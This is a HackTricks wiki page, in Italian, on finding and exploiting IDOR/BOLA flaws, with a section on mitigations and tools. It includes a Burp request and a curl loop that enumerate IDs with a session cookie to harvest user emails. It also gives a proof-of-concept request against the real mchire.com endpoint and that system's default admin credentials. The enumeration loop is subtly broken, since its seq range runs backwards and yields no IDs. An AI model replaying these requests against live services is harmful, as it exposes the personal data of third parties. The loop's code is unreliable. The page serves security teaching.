85 lines
4.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) si verifica quando un endpoint web o API rivela o accetta un identificatore controllabile dall'utente che viene utilizzato **direttamente** per accedere a un oggetto interno **senza verificare che il chiamante sia autorizzato** ad accedere/modificare quell'oggetto.
Lo sfruttamento riuscito consente normalmente l'escalation dei privilegi orizzontale o verticale, come la lettura o la modifica dei dati di altri utenti e, nel peggiore dei casi, il completo takeover dell'account o l'exfiltrazione di massa dei dati.
---
## 1. Identificazione dei potenziali IDOR
1. Cerca **parametri che fanno riferimento a un oggetto**:
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Query: `?id=42`, `?invoice=2024-00001`
* Body / JSON: `{"user_id": 321, "order_id": 987}`
* Headers / Cookies: `X-Client-ID: 4711`
2. Preferisci gli endpoint che **leggono o aggiornano** i dati (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Nota quando gli identificatori sono **sequenziali o prevedibili** se il tuo ID è `64185742`, allora `64185741` probabilmente esiste.
4. Esplora flussi nascosti o alternativi (ad es. *"Paradox team members"* link nelle pagine di login) che potrebbero esporre API aggiuntive.
5. Usa una **sessione autenticata a basso privilegio** e cambia solo l'ID **mantenendo lo stesso token/cookie**. L'assenza di un errore di autorizzazione è solitamente un segno di IDOR.
### Quick manual tampering (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
```
### Enumerazione automatizzata (Burp Intruder / ciclo curl)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---
## 2. Studio di Caso Reale Piattaforma Chatbot McHire (2025)
Durante una valutazione del portale di reclutamento **McHire** alimentato da Paradox.ai, è stato scoperto il seguente IDOR:
* Endpoint: `PUT /api/lead/cem-xhr`
* Autorizzazione: cookie di sessione utente per **qualsiasi** account di test ristorante
* Parametro del corpo: `{"lead_id": N}` identificatore numerico **sequenziale** di 8 cifre
Riducendo `lead_id`, il tester ha recuperato PII **completa** di candidati arbitrari (nome, e-mail, telefono, indirizzo, preferenze di turno) più un **JWT** del consumatore che consentiva il furto di sessione. L'enumerazione dell'intervallo `1 64,185,742` ha esposto circa **64 milioni** di record.
Richiesta di Proof-of-Concept:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
---
## 3. Impatto di IDOR / BOLA
* Escalation orizzontale leggere/aggiornare/eliminare i dati di **altri utenti**.
* Escalation verticale un utente a basso privilegio ottiene funzionalità riservate agli admin.
* Violazione di massa dei dati se gli identificatori sono sequenziali (es. ID dei candidati, fatture).
* Presa di controllo dell'account rubando token o reimpostando le password di altri utenti.
---
## 4. Mitigazioni e Migliori Pratiche
1. **Imporre l'autorizzazione a livello di oggetto** su ogni richiesta (`user_id == session.user`).
2. Preferire **identificatori indiretti e non indovinabili** (UUIDv4, ULID) invece di ID auto-incrementali.
3. Eseguire l'autorizzazione **lato server**, non fare mai affidamento su campi di modulo nascosti o controlli UI.
4. Implementare controlli **RBAC / ABAC** in un middleware centrale.
5. Aggiungere **limitazione della velocità e logging** per rilevare l'enumerazione degli ID.
6. Testare la sicurezza di ogni nuovo endpoint (unità, integrazione e DAST).
---
## 5. Strumenti
* **Estensioni di BurpSuite**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Progetti Github**: `bwapp-idor-scanner`, `Blindy` (caccia IDOR in massa).
## Riferimenti
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
{{#include ../banners/hacktricks-training.md}}